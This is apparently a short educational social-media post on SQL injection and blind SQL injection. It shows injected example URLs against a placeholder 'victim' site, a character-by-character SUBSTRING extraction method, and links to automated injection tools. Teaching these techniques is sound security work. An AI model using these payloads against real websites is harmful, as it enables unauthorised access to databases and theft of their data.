BLIND SQL INJECTIONS

SQL injection is a well know and exploited technique that mainly exploited in web enviroment.sql injections allows an attacker to reach the database.

which ask the database true or false questions and determine the answer

based on the system's response.

examples of SQL injections

http://victim/listproducts.asp?cat=books

SELECT * from PRODUCTS WHERE category=‘books’

http://victim/listproducts.asp?cat=books’ or ‘1’=‘1

SELECT * from PRODUCTS WHERE category=‘books’ or ‘1’=‘1’

Basically, on SQL injection the attacker gets results.

Blind sql injections

Same vulnerability as SQL injection

*Very* common vulnerability

Sometimes (wrongly) ignored during tests as unexploitable or not detected

The attacker can not retrieve results

The attacker can only retrieve a True/False condition

example. of blind sql injections

http://victim/showproduct.asp?id=238

SELECT * from PRODUCTS WHERE id=238

Sometimes, due to the code surrounding the SQL query (grouped or sorted) the attacker can’t UNION and no ‘good’ ways of exploitation are found

http://victim/showproduct.asp?id=238 and 1=1

http://victim/showproduct.asp?id=238 and 1=2

SELECT * from PRODUCTS WHERE id=238 and 1=1

SELECT * from PRODUCTS WHERE id=238 and 1=2

Blind SQL happens if the requests above return different results

Exploiting True/False conditions

Select user returns ‘dbo’

SUBSTRING(‘Select user’, 1, 1) = ‘d’

SUBSTRING(‘Select user’, 2, 1) = ‘b’

SUBSTRING(‘Select user’, 3, 1) = ‘o’

http://victim/showproduct.asp?id=238 and SUBSTRING(‘Select user’, 1, 1) = ‘d’   TRUE

http://victim/showproduct.asp?id=238 and SUBSTRING(‘Select user’, 1, 1) = ‘X’  FALSE

Available solutions

Custom Script: We can script it and discover each letter

Set a space: [a-z] + [A-Z] + [0-9] + [symbols]

Loop for every character

Absinthe

http://www.0x90.org/releases/absinthe/

BSQLBF

http://www.unsec.net/download/bsqlbf.pl 

http://www.unsec.net/download/bsqlbf.avi

SQLMap, SQLBrute.py

#cybersecurity #hacking #security #technology #hacker #infosec #tech #ethicalhacking #programming #linux #hackers #cyber #kalilinux #cybercrime #malware #python #privacy #it #iot #cyberattack #coding #dataprotection #hack #ethicalhacker #networking #informationsecurity #cybersecurityawareness #programmer #datasecurity #bhfyp #nasvera #sql #cyber